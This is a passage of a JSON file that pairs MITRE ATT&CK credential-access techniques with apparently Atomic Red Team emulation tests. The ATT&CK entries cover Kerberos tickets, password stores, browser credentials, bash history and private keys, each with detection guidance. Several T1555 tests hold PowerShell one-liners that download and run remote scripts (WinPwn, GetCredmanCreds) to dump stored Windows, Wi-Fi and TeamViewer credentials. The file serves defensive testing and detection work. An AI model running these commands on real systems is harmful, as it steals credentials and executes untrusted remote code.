- "source_name": "Microsoft Kerberos Golden Ticket",
- "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285",
- "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020."
- },
- {
- "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
- "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
- "source_name": "Microsoft Detecting Kerberoasting Feb 2018"
- },
- {
- "url": "https://adsecurity.org/?p=2293",
- "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
- "source_name": "AdSecurity Cracking Kerberos Dec 2015"
- },
- {
- "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
- "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
- "source_name": "Medium Detecting Attempts to Steal Passwords from Memory"
- }
- ],
- "modified": "2022-03-08T21:45:01.934Z",
- "name": "Steal or Forge Kerberos Tickets",
- "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist
utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb
as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey
. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf
configuration file and the KRB5CCNAME
environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit
, klist
, ktutil
, and kcc
built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing secrets.ldb
and .secrets.mkey
located in /var/lib/sss/secrets/
.",
- "x_mitre_version": "1.4",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Credential Request",
- "Logon Session: Logon Session Metadata",
- "File: File Access",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "x_mitre_system_requirements": [
- "Kerberos authentication enabled"
- ]
- },
- "atomic_tests": []
- },
- "T1555": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
- "type": "attack-pattern",
- "created": "2020-02-11T18:48:28.456Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1555",
- "url": "https://attack.mitre.org/techniques/T1555"
- }
- ],
- "modified": "2022-04-01T18:25:13.952Z",
- "name": "Credentials from Password Stores",
- "description": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Process: Process Access",
- "Process: OS API Execution",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1555"
- },
- "atomic_tests": [
- {
- "name": "Extract Windows Credential Manager via VBA",
- "auto_generated_guid": "234f9b7c-b53d-4f32-897b-b880a6c9ea7b",
- "description": "This module will extract the credentials found within the Windows credential manager and dump\nthem to $env:TEMP\\windows-credentials.txt\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft Word must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"word.Application\" | Out-Null\n $process = \"winword\"\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1555\\src\\T1555-macrocode.txt\" -officeProduct \"Word\" -sub \"Extract\"\n",
- "cleanup_command": "Remove-Item \"$env:TEMP\\windows-credentials.txt\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Dump credentials from Windows Credential Manager With PowerShell [windows Credentials]",
- "auto_generated_guid": "c89becbe-1758-4e7d-a0f4-97d2188a23e3",
- "description": "This module will extract the credentials from Windows Credential Manager",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "IEX (IWR 'https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force \n"
- }
- },
- {
- "name": "Dump credentials from Windows Credential Manager With PowerShell [web Credentials]",
- "auto_generated_guid": "8fd5a296-6772-4766-9991-ff4e92af7240",
- "description": "This module will extract the credentials from Windows Credential Manager",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "IEX (IWR 'https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force\n"
- }
- },
- {
- "name": "Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials]",
- "auto_generated_guid": "36753ded-e5c4-4eb5-bc3c-e8fba236878d",
- "description": "This module will enumerate credentials stored in Windows Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "vaultcmd /listcreds:\"Windows Credentials\" /all\n"
- }
- },
- {
- "name": "Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials]",
- "auto_generated_guid": "bc071188-459f-44d5-901a-f8f2625b2d2e",
- "description": "This module will enumerate credentials stored in Web Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "vaultcmd /listcreds:\"Web Credentials\" /all\n"
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - lazagne",
- "auto_generated_guid": "079ee2e9-6f16-47ca-a635-14efcd994118",
- "description": "The [LaZagne project](https://github.com/AlessandroZ/LaZagne) is an open source application used to retrieve lots of passwords stored on a local computer. \nEach software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). \nThis tool has been developed for the purpose of finding these passwords for the most commonly-used software",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nlazagnemodule -consoleoutput -noninteractive",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - Wifi Credentials",
- "auto_generated_guid": "afe369c2-b42e-447f-98a3-fb1f4e2b8552",
- "description": "Loot local Credentials - Wifi Credentials technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nwificreds -consoleoutput -noninteractive ",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords",
- "auto_generated_guid": "db965264-3117-4bad-b7b7-2523b7856b92",
- "description": "Loot local Credentials - Decrypt Teamviewer Passwords technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndecryptteamviewer -consoleoutput -noninteractive ",
- "name": "powershell"
- }
- }
- ]
- },
- "T1552": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
- "type": "attack-pattern",
- "created": "2020-02-04T12:47:23.631Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1552",
- "url": "https://attack.mitre.org/techniques/T1552"
- }
- ],
- "modified": "2022-04-01T13:11:11.386Z",
- "name": "Unsecured Credentials",
- "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's .bash_history
is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history
.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Access",
- "User Account: User Account Authentication",
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1552"
- },
- "atomic_tests": []
- },
- "T1139": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1139",
- "url": "https://attack.mitre.org/techniques/T1139"
- },
- {
- "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
- "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
- "source_name": "External to DA, the OS X Way"
- }
- ],
- "modified": "2020-02-04T13:03:03.354Z",
- "name": "Bash History",
- "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history
file. For each user, this file resides at the same location: ~/.bash_history
. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitoring when the user's .bash_history
is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history
.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1503": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ryan Benson, Exabeam",
- "Barry Shteiman, Exabeam",
- "Sylvain Gil, Exabeam",
- "RedHuntLabs, @redhuntlabs"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f",
- "type": "attack-pattern",
- "created": "2019-06-17T19:34:51.855Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1503",
- "url": "https://attack.mitre.org/techniques/T1503"
- },
- {
- "source_name": "Talos Olympic Destroyer 2018",
- "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
- "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
- },
- {
- "source_name": "Microsoft CryptUnprotectData April 2018",
- "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata",
- "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019."
- },
- {
- "source_name": "Proofpoint Vega Credential Stealer May 2018",
- "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign",
- "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019."
- },
- {
- "source_name": "FireEye HawkEye Malware July 2017",
- "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html",
- "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019."
- },
- {
- "source_name": "GitHub Mimikittenz July 2016",
- "url": "https://github.com/putterpanda/mimikittenz",
- "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."
- }
- ],
- "modified": "2020-11-17T16:03:55.549Z",
- "name": "Credentials from Web Browsers",
- "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;
. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData
, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1145": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Itzik Kotler, SafeBreach"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1145",
- "url": "https://attack.mitre.org/techniques/T1145"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Public-key_cryptography",
- "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
- "source_name": "Wikipedia Public Key Crypto"
- },
- {
- "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf",
- "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
- "source_name": "Kaspersky Careto"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/",
- "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
- "source_name": "Palo Alto Prince of Persia"
- }
- ],
- "modified": "2020-02-18T16:51:57.775Z",
- "name": "Private Keys",
- "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh
for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\
on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1555.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ryan Benson, Exabeam",
- "Barry Shteiman, Exabeam",
- "Sylvain Gil, Exabeam",
- "RedHuntLabs, @redhuntlabs"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
- "type": "attack-pattern",
- "created": "2020-02-12T18:57:36.041Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1555.003",
- "url": "https://attack.mitre.org/techniques/T1555/003"
- },
- {
- "source_name": "Talos Olympic Destroyer 2018",
- "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
- "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
- },
- {
- "source_name": "Microsoft CryptUnprotectData April 2018",
- "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata",
- "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019."
- },
- {
- "source_name": "Proofpoint Vega Credential Stealer May 2018",
- "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign",
- "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019."
- },
- {
- "source_name": "FireEye HawkEye Malware July 2017",
- "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html",
- "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019."
- },
- {
- "source_name": "GitHub Mimikittenz July 2016",
- "url": "https://github.com/putterpanda/mimikittenz",
- "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."
- }
- ],
- "modified": "2022-02-15T19:29:57.405Z",
- "name": "Credentials from Password Stores: Credentials from Web Browsers",
- "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;
. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData
, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Process: OS API Execution",
- "Command: Command Execution",
- "Process: Process Access"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1555.003"
- },
- "atomic_tests": [
- {
- "name": "Run Chrome-password Collector",
- "auto_generated_guid": "8c05b133-d438-47ca-a630-19cc464c4622",
- "description": "A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.\n\nSuccessful execution will produce stdout message stating \"Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly\". Upon completion, final output will be a file modification of $env:TEMP\\sysinternals\\passwordsdb.\n\nAdapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_path": {
- "description": "File path for modified Sysinternals",
- "type": "string",
- "default": "$env:TEMP"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Modified Sysinternals must be located at #{file_path}\n",
- "prereq_command": "if (Test-Path #{file_path}\\SysInternals) {exit 0} else {exit 1}\n",
